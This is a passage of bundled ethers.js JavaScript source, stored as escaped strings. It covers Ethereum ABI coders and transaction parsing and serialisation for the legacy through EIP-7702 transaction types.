dynamicOffset);\n });\n }\n else {\n coder.encode(staticWriter, value);\n }\n });\n // Backfill all the dynamic offsets, now that we know the static length\n updateFuncs.forEach((func) => { func(staticWriter.length); });\n let length = writer.appendWriter(staticWriter);\n length += writer.appendWriter(dynamicWriter);\n return length;\n}\n/**\n * @_ignore\n */\nexport function unpack(reader, coders) {\n let values = [];\n let keys = [];\n // A reader anchored to this base\n let baseReader = reader.subReader(0);\n coders.forEach((coder) => {\n let value = null;\n if (coder.dynamic) {\n let offset = reader.readIndex();\n let offsetReader = baseReader.subReader(offset);\n try {\n value = coder.decode(offsetReader);\n }\n catch (error) {\n // Cannot recover from this\n if (isError(error, \"BUFFER_OVERRUN\")) {\n throw error;\n }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n }\n else {\n try {\n value = coder.decode(reader);\n }\n catch (error) {\n // Cannot recover from this\n if (isError(error, \"BUFFER_OVERRUN\")) {\n throw error;\n }\n value = error;\n value.baseType = coder.name;\n value.name = coder.localName;\n value.type = coder.type;\n }\n }\n if (value == undefined) {\n throw new Error(\"investigate\");\n }\n values.push(value);\n keys.push(coder.localName || null);\n });\n return Result.fromItems(values, keys);\n}\n/**\n * @_ignore\n */\nexport class ArrayCoder extends Coder {\n coder;\n length;\n constructor(coder, length, localName) {\n const type = (coder.type + \"[\" + (length >= 0 ? length : \"\") + \"]\");\n const dynamic = (length === -1 || coder.dynamic);\n super(\"array\", type, localName, dynamic);\n defineProperties(this, { coder, length });\n }\n defaultValue() {\n // Verifies the child coder is valid (even if the array is dynamic or 0-length)\n const defaultChild = this.coder.defaultValue();\n const result = [];\n for (let i = 0; i < this.length; i++) {\n result.push(defaultChild);\n }\n return result;\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"array\");\n if (!Array.isArray(value)) {\n this._throwError(\"expected array value\", value);\n }\n let count = this.length;\n if (count === -1) {\n count = value.length;\n writer.writeValue(value.length);\n }\n assertArgumentCount(value.length, count, \"coder array\" + (this.localName ? (\" \" + this.localName) : \"\"));\n let coders = [];\n for (let i = 0; i < value.length; i++) {\n coders.push(this.coder);\n }\n return pack(writer, coders, value);\n }\n decode(reader) {\n let count = this.length;\n if (count === -1) {\n count = reader.readIndex();\n // Check that there is *roughly* enough data to ensure\n // stray random data is not being read as a length. Each\n // slot requires at least 32 bytes for their value (or 32\n // bytes as a link to the data). This could use a much\n // tighter bound, but we are erroring on the side of safety.\n assert(count * WordSize <= reader.dataLength, \"insufficient data length\", \"BUFFER_OVERRUN\", { buffer: reader.bytes, offset: count * WordSize, length: reader.dataLength });\n }\n let coders = [];\n for (let i = 0; i < count; i++) {\n coders.push(new AnonymousCoder(this.coder));\n }\n return unpack(reader, coders);\n }\n}\n//# sourceMappingURL=array.js.map","import { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class BooleanCoder extends Coder {\n constructor(localName) {\n super(\"bool\", \"bool\", localName, false);\n }\n defaultValue() {\n return false;\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"bool\");\n return writer.writeValue(value ? 1 : 0);\n }\n decode(reader) {\n return !!reader.readValue();\n }\n}\n//# sourceMappingURL=boolean.js.map","import { getBytesCopy, hexlify } from \"../../utils/index.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class DynamicBytesCoder extends Coder {\n constructor(type, localName) {\n super(type, type, localName, true);\n }\n defaultValue() {\n return \"0x\";\n }\n encode(writer, value) {\n value = getBytesCopy(value);\n let length = writer.writeValue(value.length);\n length += writer.writeBytes(value);\n return length;\n }\n decode(reader) {\n return reader.readBytes(reader.readIndex(), true);\n }\n}\n/**\n * @_ignore\n */\nexport class BytesCoder extends DynamicBytesCoder {\n constructor(localName) {\n super(\"bytes\", localName);\n }\n decode(reader) {\n return hexlify(super.decode(reader));\n }\n}\n//# sourceMappingURL=bytes.js.map","import { defineProperties, getBytesCopy, hexlify } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\n/**\n * @_ignore\n */\nexport class FixedBytesCoder extends Coder {\n size;\n constructor(size, localName) {\n let name = \"bytes\" + String(size);\n super(name, name, localName, false);\n defineProperties(this, { size }, { size: \"number\" });\n }\n defaultValue() {\n return (\"0x0000000000000000000000000000000000000000000000000000000000000000\").substring(0, 2 + this.size * 2);\n }\n encode(writer, _value) {\n let data = getBytesCopy(Typed.dereference(_value, this.type));\n if (data.length !== this.size) {\n this._throwError(\"incorrect data length\", _value);\n }\n return writer.writeBytes(data);\n }\n decode(reader) {\n return hexlify(reader.readBytes(this.size));\n }\n}\n//# sourceMappingURL=fixed-bytes.js.map","import { Coder } from \"./abstract-coder.js\";\nconst Empty = new Uint8Array([]);\n/**\n * @_ignore\n */\nexport class NullCoder extends Coder {\n constructor(localName) {\n super(\"null\", \"\", localName, false);\n }\n defaultValue() {\n return null;\n }\n encode(writer, value) {\n if (value != null) {\n this._throwError(\"not null\", value);\n }\n return writer.writeBytes(Empty);\n }\n decode(reader) {\n reader.readBytes(0);\n return null;\n }\n}\n//# sourceMappingURL=null.js.map","import { defineProperties, fromTwos, getBigInt, mask, toTwos } from \"../../utils/index.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder, WordSize } from \"./abstract-coder.js\";\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_MAX_UINT256 = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\n/**\n * @_ignore\n */\nexport class NumberCoder extends Coder {\n size;\n signed;\n constructor(size, signed, localName) {\n const name = ((signed ? \"int\" : \"uint\") + (size * 8));\n super(name, name, localName, false);\n defineProperties(this, { size, signed }, { size: \"number\", signed: \"boolean\" });\n }\n defaultValue() {\n return 0;\n }\n encode(writer, _value) {\n let value = getBigInt(Typed.dereference(_value, this.type));\n // Check bounds are safe for encoding\n let maxUintValue = mask(BN_MAX_UINT256, WordSize * 8);\n if (this.signed) {\n let bounds = mask(maxUintValue, (this.size * 8) - 1);\n if (value > bounds || value < -(bounds + BN_1)) {\n this._throwError(\"value out-of-bounds\", _value);\n }\n value = toTwos(value, 8 * WordSize);\n }\n else if (value < BN_0 || value > mask(maxUintValue, this.size * 8)) {\n this._throwError(\"value out-of-bounds\", _value);\n }\n return writer.writeValue(value);\n }\n decode(reader) {\n let value = mask(reader.readValue(), this.size * 8);\n if (this.signed) {\n value = fromTwos(value, this.size * 8);\n }\n return value;\n }\n}\n//# sourceMappingURL=number.js.map","import { toUtf8Bytes, toUtf8String } from \"../../utils/utf8.js\";\nimport { Typed } from \"../typed.js\";\nimport { DynamicBytesCoder } from \"./bytes.js\";\n/**\n * @_ignore\n */\nexport class StringCoder extends DynamicBytesCoder {\n constructor(localName) {\n super(\"string\", localName);\n }\n defaultValue() {\n return \"\";\n }\n encode(writer, _value) {\n return super.encode(writer, toUtf8Bytes(Typed.dereference(_value, \"string\")));\n }\n decode(reader) {\n return toUtf8String(super.decode(reader));\n }\n}\n//# sourceMappingURL=string.js.map","import { defineProperties } from \"../../utils/properties.js\";\nimport { Typed } from \"../typed.js\";\nimport { Coder } from \"./abstract-coder.js\";\nimport { pack, unpack } from \"./array.js\";\n/**\n * @_ignore\n */\nexport class TupleCoder extends Coder {\n coders;\n constructor(coders, localName) {\n let dynamic = false;\n const types = [];\n coders.forEach((coder) => {\n if (coder.dynamic) {\n dynamic = true;\n }\n types.push(coder.type);\n });\n const type = (\"tuple(\" + types.join(\",\") + \")\");\n super(\"tuple\", type, localName, dynamic);\n defineProperties(this, { coders: Object.freeze(coders.slice()) });\n }\n defaultValue() {\n const values = [];\n this.coders.forEach((coder) => {\n values.push(coder.defaultValue());\n });\n // We only output named properties for uniquely named coders\n const uniqueNames = this.coders.reduce((accum, coder) => {\n const name = coder.localName;\n if (name) {\n if (!accum[name]) {\n accum[name] = 0;\n }\n accum[name]++;\n }\n return accum;\n }, {});\n // Add named values\n this.coders.forEach((coder, index) => {\n let name = coder.localName;\n if (!name || uniqueNames[name] !== 1) {\n return;\n }\n if (name === \"length\") {\n name = \"_length\";\n }\n if (values[name] != null) {\n return;\n }\n values[name] = values[index];\n });\n return Object.freeze(values);\n }\n encode(writer, _value) {\n const value = Typed.dereference(_value, \"tuple\");\n return pack(writer, this.coders, value);\n }\n decode(reader) {\n return unpack(reader, this.coders);\n }\n}\n//# sourceMappingURL=tuple.js.map","import { getAddress } from \"../address/index.js\";\nimport { assertArgument, isHexString } from \"../utils/index.js\";\nfunction accessSetify(addr, storageKeys) {\n return {\n address: getAddress(addr),\n storageKeys: storageKeys.map((storageKey, index) => {\n assertArgument(isHexString(storageKey, 32), \"invalid slot\", `storageKeys[${index}]`, storageKey);\n return storageKey.toLowerCase();\n })\n };\n}\n/**\n * Returns a [[AccessList]] from any ethers-supported access-list structure.\n */\nexport function accessListify(value) {\n if (Array.isArray(value)) {\n return value.map((set, index) => {\n if (Array.isArray(set)) {\n assertArgument(set.length === 2, \"invalid slot set\", `value[${index}]`, set);\n return accessSetify(set[0], set[1]);\n }\n assertArgument(set != null && typeof (set) === \"object\", \"invalid address-slot set\", \"value\", value);\n return accessSetify(set.address, set.storageKeys);\n });\n }\n assertArgument(value != null && typeof (value) === \"object\", \"invalid access list\", \"value\", value);\n const result = Object.keys(value).map((addr) => {\n const storageKeys = value[addr].reduce((accum, storageKey) => {\n accum[storageKey] = true;\n return accum;\n }, {});\n return accessSetify(addr, Object.keys(storageKeys).sort());\n });\n result.sort((a, b) => (a.address.localeCompare(b.address)));\n return result;\n}\n//# sourceMappingURL=accesslist.js.map","import { getAddress } from \"../address/index.js\";\nimport { Signature } from \"../crypto/index.js\";\nimport { getBigInt } from \"../utils/index.js\";\nexport function authorizationify(auth) {\n return {\n address: getAddress(auth.address),\n nonce: getBigInt((auth.nonce != null) ? auth.nonce : 0),\n chainId: getBigInt((auth.chainId != null) ? auth.chainId : 0),\n signature: Signature.from(auth.signature)\n };\n}\n//# sourceMappingURL=authorization.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256, SigningKey } from \"../crypto/index.js\";\n/**\n * Returns the address for the %%key%%.\n *\n * The key may be any standard form of public key or a private key.\n */\nexport function computeAddress(key) {\n let pubkey;\n if (typeof (key) === \"string\") {\n pubkey = SigningKey.computePublicKey(key, false);\n }\n else {\n pubkey = key.publicKey;\n }\n return getAddress(keccak256(\"0x\" + pubkey.substring(4)).substring(26));\n}\n/**\n * Returns the recovered address for the private key that was\n * used to sign %%digest%% that resulted in %%signature%%.\n */\nexport function recoverAddress(digest, signature) {\n return computeAddress(SigningKey.recoverPublicKey(digest, signature));\n}\n//# sourceMappingURL=address.js.map","import { getAddress } from \"../address/index.js\";\nimport { ZeroAddress } from \"../constants/addresses.js\";\nimport { keccak256, sha256, Signature, SigningKey } from \"../crypto/index.js\";\nimport { concat, decodeRlp, encodeRlp, getBytes, getBigInt, getNumber, hexlify, assert, assertArgument, isBytesLike, isHexString, toBeArray, zeroPadValue } from \"../utils/index.js\";\nimport { accessListify } from \"./accesslist.js\";\nimport { authorizationify } from \"./authorization.js\";\nimport { recoverAddress } from \"./address.js\";\nconst BN_0 = BigInt(0);\nconst BN_2 = BigInt(2);\nconst BN_27 = BigInt(27);\nconst BN_28 = BigInt(28);\nconst BN_35 = BigInt(35);\nconst BN_MAX_UINT = BigInt(\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\");\nconst BLOB_SIZE = 4096 * 32;\nfunction getKzgLibrary(kzg) {\n const blobToKzgCommitment = (blob) => {\n if (\"computeBlobProof\" in kzg) {\n // micro-ecc-signer; check for computeBlobProof since this API\n // expects a string while the kzg-wasm below expects a Unit8Array\n if (\"blobToKzgCommitment\" in kzg && typeof (kzg.blobToKzgCommitment) === \"function\") {\n return getBytes(kzg.blobToKzgCommitment(hexlify(blob)));\n }\n }\n else if (\"blobToKzgCommitment\" in kzg && typeof (kzg.blobToKzgCommitment) === \"function\") {\n // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array\n return getBytes(kzg.blobToKzgCommitment(blob));\n }\n // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string\n if (\"blobToKZGCommitment\" in kzg && typeof (kzg.blobToKZGCommitment) === \"function\") {\n return getBytes(kzg.blobToKZGCommitment(hexlify(blob)));\n }\n assertArgument(false, \"unsupported KZG library\", \"kzg\", kzg);\n };\n const computeBlobKzgProof = (blob, commitment) => {\n // micro-ecc-signer\n if (\"computeBlobProof\" in kzg && typeof (kzg.computeBlobProof) === \"function\") {\n return getBytes(kzg.computeBlobProof(hexlify(blob), hexlify(commitment)));\n }\n // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array\n if (\"computeBlobKzgProof\" in kzg && typeof (kzg.computeBlobKzgProof) === \"function\") {\n return kzg.computeBlobKzgProof(blob, commitment);\n }\n // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string\n if (\"computeBlobKZGProof\" in kzg && typeof (kzg.computeBlobKZGProof) === \"function\") {\n return getBytes(kzg.computeBlobKZGProof(hexlify(blob), hexlify(commitment)));\n }\n assertArgument(false, \"unsupported KZG library\", \"kzg\", kzg);\n };\n return { blobToKzgCommitment, computeBlobKzgProof };\n}\nfunction getVersionedHash(version, hash) {\n let versioned = version.toString(16);\n while (versioned.length < 2) {\n versioned = \"0\" + versioned;\n }\n versioned += sha256(hash).substring(4);\n return \"0x\" + versioned;\n}\nfunction handleAddress(value) {\n if (value === \"0x\") {\n return null;\n }\n return getAddress(value);\n}\nfunction handleAccessList(value, param) {\n try {\n return accessListify(value);\n }\n catch (error) {\n assertArgument(false, error.message, param, value);\n }\n}\nfunction handleAuthorizationList(value, param) {\n try {\n if (!Array.isArray(value)) {\n throw new Error(\"authorizationList: invalid array\");\n }\n const result = [];\n for (let i = 0; i < value.length; i++) {\n const auth = value[i];\n if (!Array.isArray(auth)) {\n throw new Error(`authorization[${i}]: invalid array`);\n }\n if (auth.length !== 6) {\n throw new Error(`authorization[${i}]: wrong length`);\n }\n if (!auth[1]) {\n throw new Error(`authorization[${i}]: null address`);\n }\n result.push({\n address: handleAddress(auth[1]),\n nonce: handleUint(auth[2], \"nonce\"),\n chainId: handleUint(auth[0], \"chainId\"),\n signature: Signature.from({\n yParity: handleNumber(auth[3], \"yParity\"),\n r: zeroPadValue(auth[4], 32),\n s: zeroPadValue(auth[5], 32)\n })\n });\n }\n return result;\n }\n catch (error) {\n assertArgument(false, error.message, param, value);\n }\n}\nfunction handleNumber(_value, param) {\n if (_value === \"0x\") {\n return 0;\n }\n return getNumber(_value, param);\n}\nfunction handleUint(_value, param) {\n if (_value === \"0x\") {\n return BN_0;\n }\n const value = getBigInt(_value, param);\n assertArgument(value <= BN_MAX_UINT, \"value exceeds uint size\", param, value);\n return value;\n}\nfunction formatNumber(_value, name) {\n const value = getBigInt(_value, \"value\");\n const result = toBeArray(value);\n assertArgument(result.length <= 32, `value too large`, `tx.${name}`, value);\n return result;\n}\nfunction formatAccessList(value) {\n return accessListify(value).map((set) => [set.address, set.storageKeys]);\n}\nfunction formatAuthorizationList(value) {\n return value.map((a) => {\n return [\n formatNumber(a.chainId, \"chainId\"),\n a.address,\n formatNumber(a.nonce, \"nonce\"),\n formatNumber(a.signature.yParity, \"yParity\"),\n toBeArray(a.signature.r),\n toBeArray(a.signature.s)\n ];\n });\n}\nfunction formatHashes(value, param) {\n assertArgument(Array.isArray(value), `invalid ${param}`, \"value\", value);\n for (let i = 0; i < value.length; i++) {\n assertArgument(isHexString(value[i], 32), \"invalid ${ param } hash\", `value[${i}]`, value[i]);\n }\n return value;\n}\nfunction _parseLegacy(data) {\n const fields = decodeRlp(data);\n assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), \"invalid field count for legacy transaction\", \"data\", data);\n const tx = {\n type: 0,\n nonce: handleNumber(fields[0], \"nonce\"),\n gasPrice: handleUint(fields[1], \"gasPrice\"),\n gasLimit: handleUint(fields[2], \"gasLimit\"),\n to: handleAddress(fields[3]),\n value: handleUint(fields[4], \"value\"),\n data: hexlify(fields[5]),\n chainId: BN_0\n };\n // Legacy unsigned transaction\n if (fields.length === 6) {\n return tx;\n }\n const v = handleUint(fields[6], \"v\");\n const r = handleUint(fields[7], \"r\");\n const s = handleUint(fields[8], \"s\");\n if (r === BN_0 && s === BN_0) {\n // EIP-155 unsigned transaction\n tx.chainId = v;\n }\n else {\n // Compute the EIP-155 chain ID (or 0 for legacy)\n let chainId = (v - BN_35) / BN_2;\n if (chainId < BN_0) {\n chainId = BN_0;\n }\n tx.chainId = chainId;\n // Signed Legacy Transaction\n assertArgument(chainId !== BN_0 || (v === BN_27 || v === BN_28), \"non-canonical legacy v\", \"v\", fields[6]);\n tx.signature = Signature.from({\n r: zeroPadValue(fields[7], 32),\n s: zeroPadValue(fields[8], 32),\n v\n });\n //tx.hash = keccak256(data);\n }\n return tx;\n}\nfunction _serializeLegacy(tx, sig) {\n const fields = [\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.gasPrice || 0, \"gasPrice\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n ];\n let chainId = BN_0;\n if (tx.chainId != BN_0) {\n // A chainId was provided; if non-zero we'll use EIP-155\n chainId = getBigInt(tx.chainId, \"tx.chainId\");\n // We have a chainId in the tx and an EIP-155 v in the signature,\n // make sure they agree with each other\n assertArgument(!sig || sig.networkV == null || sig.legacyChainId === chainId, \"tx.chainId/sig.v mismatch\", \"sig\", sig);\n }\n else if (tx.signature) {\n // No explicit chainId, but EIP-155 have a derived implicit chainId\n const legacy = tx.signature.legacyChainId;\n if (legacy != null) {\n chainId = legacy;\n }\n }\n // Requesting an unsigned transaction\n if (!sig) {\n // We have an EIP-155 transaction (chainId was specified and non-zero)\n if (chainId !== BN_0) {\n fields.push(toBeArray(chainId));\n fields.push(\"0x\");\n fields.push(\"0x\");\n }\n return encodeRlp(fields);\n }\n // @TODO: We should probably check that tx.signature, chainId, and sig\n // match but that logic could break existing code, so schedule\n // this for the next major bump.\n // Compute the EIP-155 v\n let v = BigInt(27 + sig.yParity);\n if (chainId !== BN_0) {\n v = Signature.getChainIdV(chainId, sig.v);\n }\n else if (BigInt(sig.v) !== v) {\n assertArgument(false, \"tx.chainId/sig.v mismatch\", \"sig\", sig);\n }\n // Add the signature\n fields.push(toBeArray(v));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n return encodeRlp(fields);\n}\nfunction _parseEipSignature(tx, fields) {\n let yParity;\n try {\n yParity = handleNumber(fields[0], \"yParity\");\n if (yParity !== 0 && yParity !== 1) {\n throw new Error(\"bad yParity\");\n }\n }\n catch (error) {\n assertArgument(false, \"invalid yParity\", \"yParity\", fields[0]);\n }\n const r = zeroPadValue(fields[1], 32);\n const s = zeroPadValue(fields[2], 32);\n const signature = Signature.from({ r, s, yParity });\n tx.signature = signature;\n}\nfunction _parseEip1559(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), \"invalid field count for transaction type: 2\", \"data\", hexlify(data));\n const tx = {\n type: 2,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n };\n // Unsigned EIP-1559 Transaction\n if (fields.length === 9) {\n return tx;\n }\n //tx.hash = keccak256(data);\n _parseEipSignature(tx, fields.slice(9));\n return tx;\n}\nfunction _serializeEip1559(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x02\", encodeRlp(fields)]);\n}\nfunction _parseEip2930(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), \"invalid field count for transaction type: 1\", \"data\", hexlify(data));\n const tx = {\n type: 1,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n gasPrice: handleUint(fields[2], \"gasPrice\"),\n gasLimit: handleUint(fields[3], \"gasLimit\"),\n to: handleAddress(fields[4]),\n value: handleUint(fields[5], \"value\"),\n data: hexlify(fields[6]),\n accessList: handleAccessList(fields[7], \"accessList\")\n };\n // Unsigned EIP-2930 Transaction\n if (fields.length === 8) {\n return tx;\n }\n //tx.hash = keccak256(data);\n _parseEipSignature(tx, fields.slice(8));\n return tx;\n}\nfunction _serializeEip2930(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.gasPrice || 0, \"gasPrice\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"recoveryParam\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x01\", encodeRlp(fields)]);\n}\nfunction _parseEip4844(data) {\n let fields = decodeRlp(getBytes(data).slice(1));\n let typeName = \"3\";\n let blobs = null;\n // Parse the network format\n if (fields.length === 4 && Array.isArray(fields[0])) {\n typeName = \"3 (network format)\";\n const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3];\n assertArgument(Array.isArray(fBlobs), \"invalid network format: blobs not an array\", \"fields[1]\", fBlobs);\n assertArgument(Array.isArray(fCommits), \"invalid network format: commitments not an array\", \"fields[2]\", fCommits);\n assertArgument(Array.isArray(fProofs), \"invalid network format: proofs not an array\", \"fields[3]\", fProofs);\n assertArgument(fBlobs.length === fCommits.length, \"invalid network format: blobs/commitments length mismatch\", \"fields\", fields);\n assertArgument(fBlobs.length === fProofs.length, \"invalid network format: blobs/proofs length mismatch\", \"fields\", fields);\n blobs = [];\n for (let i = 0; i < fields[1].length; i++) {\n blobs.push({\n data: fBlobs[i],\n commitment: fCommits[i],\n proof: fProofs[i],\n });\n }\n fields = fields[0];\n }\n assertArgument(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, \"data\", hexlify(data));\n const tx = {\n type: 3,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n maxFeePerBlobGas: handleUint(fields[9], \"maxFeePerBlobGas\"),\n blobVersionedHashes: fields[10]\n };\n if (blobs) {\n tx.blobs = blobs;\n }\n assertArgument(tx.to != null, `invalid address for transaction type: ${typeName}`, \"data\", data);\n assertArgument(Array.isArray(tx.blobVersionedHashes), \"invalid blobVersionedHashes: must be an array\", \"data\", data);\n for (let i = 0; i < tx.blobVersionedHashes.length; i++) {\n assertArgument(isHexString(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, \"data\", data);\n }\n // Unsigned EIP-4844 Transaction\n if (fields.length === 11) {\n return tx;\n }\n // @TODO: Do we need to do this? This is only called internally\n // and used to verify hashes; it might save time to not do this\n //tx.hash = keccak256(concat([ \"0x03\", encodeRlp(fields) ]));\n _parseEipSignature(tx, fields.slice(11));\n return tx;\n}\nfunction _serializeEip4844(tx, sig, blobs) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || ZeroAddress),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || []),\n formatNumber(tx.maxFeePerBlobGas || 0, \"maxFeePerBlobGas\"),\n formatHashes(tx.blobVersionedHashes || [], \"blobVersionedHashes\")\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n // We have blobs; return the network wrapped format\n if (blobs) {\n return concat([\n \"0x03\",\n encodeRlp([\n fields,\n blobs.map((b) => b.data),\n blobs.map((b) => b.commitment),\n blobs.map((b) => b.proof),\n ])\n ]);\n }\n }\n return concat([\"0x03\", encodeRlp(fields)]);\n}\nfunction _parseEip7702(data) {\n const fields = decodeRlp(getBytes(data).slice(1));\n assertArgument(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), \"invalid field count for transaction type: 4\", \"data\", hexlify(data));\n const tx = {\n type: 4,\n chainId: handleUint(fields[0], \"chainId\"),\n nonce: handleNumber(fields[1], \"nonce\"),\n maxPriorityFeePerGas: handleUint(fields[2], \"maxPriorityFeePerGas\"),\n maxFeePerGas: handleUint(fields[3], \"maxFeePerGas\"),\n gasPrice: null,\n gasLimit: handleUint(fields[4], \"gasLimit\"),\n to: handleAddress(fields[5]),\n value: handleUint(fields[6], \"value\"),\n data: hexlify(fields[7]),\n accessList: handleAccessList(fields[8], \"accessList\"),\n authorizationList: handleAuthorizationList(fields[9], \"authorizationList\"),\n };\n // Unsigned EIP-7702 Transaction\n if (fields.length === 10) {\n return tx;\n }\n _parseEipSignature(tx, fields.slice(10));\n return tx;\n}\nfunction _serializeEip7702(tx, sig) {\n const fields = [\n formatNumber(tx.chainId, \"chainId\"),\n formatNumber(tx.nonce, \"nonce\"),\n formatNumber(tx.maxPriorityFeePerGas || 0, \"maxPriorityFeePerGas\"),\n formatNumber(tx.maxFeePerGas || 0, \"maxFeePerGas\"),\n formatNumber(tx.gasLimit, \"gasLimit\"),\n (tx.to || \"0x\"),\n formatNumber(tx.value, \"value\"),\n tx.data,\n formatAccessList(tx.accessList || []),\n formatAuthorizationList(tx.authorizationList || [])\n ];\n if (sig) {\n fields.push(formatNumber(sig.yParity, \"yParity\"));\n fields.push(toBeArray(sig.r));\n fields.push(toBeArray(sig.s));\n }\n return concat([\"0x04\", encodeRlp(fields)]);\n}\n/**\n * A **Transaction** describes an operation to be executed on\n * Ethereum by an Externally Owned Account (EOA). It includes\n * who (the [[to]] address), what (the [[data]]) and how much (the\n * [[value]] in ether) the operation should entail.\n *\n * @example:\n * tx = new Transaction()\n * //_result:\n *\n * tx.data = \"0x1234\";\n * //_result:\n */\nexport class Transaction {\n #type;\n #to;\n #data;\n #nonce;\n #gasLimit;\n #gasPrice;\n #maxPriorityFeePerGas;\n #maxFeePerGas;\n #value;\n #chainId;\n #sig;\n #accessList;\n #maxFeePerBlobGas;\n #blobVersionedHashes;\n #kzg;\n #blobs;\n #auths;\n /**\n * The transaction type.\n *\n * If null, the type will be automatically inferred based on\n * explicit properties.\n */\n get type() { return this.#type; }\n set type(value) {\n switch (value) {\n case null:\n this.#type = null;\n break;\n case 0:\n case \"legacy\":\n this.#type = 0;\n break;\n case 1:\n case \"berlin\":\n case \"eip-2930\":\n this.#type = 1;\n break;\n case 2:\n case \"london\":\n case \"eip-1559\":\n this.#type = 2;\n break;\n case 3:\n case \"cancun\":\n case \"eip-4844\":\n this.#type = 3;\n break;\n case 4:\n case \"pectra\":\n case \"eip-7702\":\n this.#type = 4;\n break;\n default:\n assertArgument(false, \"unsupported transaction type\", \"type\", value);\n }\n }\n /**\n * The name of the transaction type.\n */\n get typeName() {\n switch (this.type) {\n case 0: return \"legacy\";\n case 1: return \"eip-2930\";\n case 2: return \"eip-1559\";\n case 3: return \"eip-4844\";\n case 4: return \"eip-7702\";\n }\n return null;\n }\n /**\n * The ``to`` address for the transaction or ``null`` if the\n * transaction is an ``init`` transaction.\n */\n get to() {\n const value = this.#to;\n if (value == null && this.type === 3) {\n return ZeroAddress;\n }\n return value;\n }\n set to(value) {\n this.#to = (value == null) ? null : getAddress(value);\n }\n /**\n * The transaction nonce.\n */\n get nonce() { return this.#nonce; }\n set nonce(value) { this.#nonce = getNumber(value, \"value\"); }\n /**\n * The gas limit.\n */\n get gasLimit() { return this.#gasLimit; }\n set gasLimit(value) { this.#gasLimit = getBigInt(value); }\n /**\n * The gas price.\n *\n * On legacy networks this defines the fee that will be paid. On\n * EIP-1559 networks, this should be ``null``.\n */\n get gasPrice() {\n const value = this.#gasPrice;\n if (value == null && (this.type === 0 || this.type === 1)) {\n return BN_0;\n }\n return value;\n }\n set gasPrice(value) {\n this.#gasPrice = (value == null) ? null : getBigInt(value, \"gasPrice\");\n }\n /**\n * The 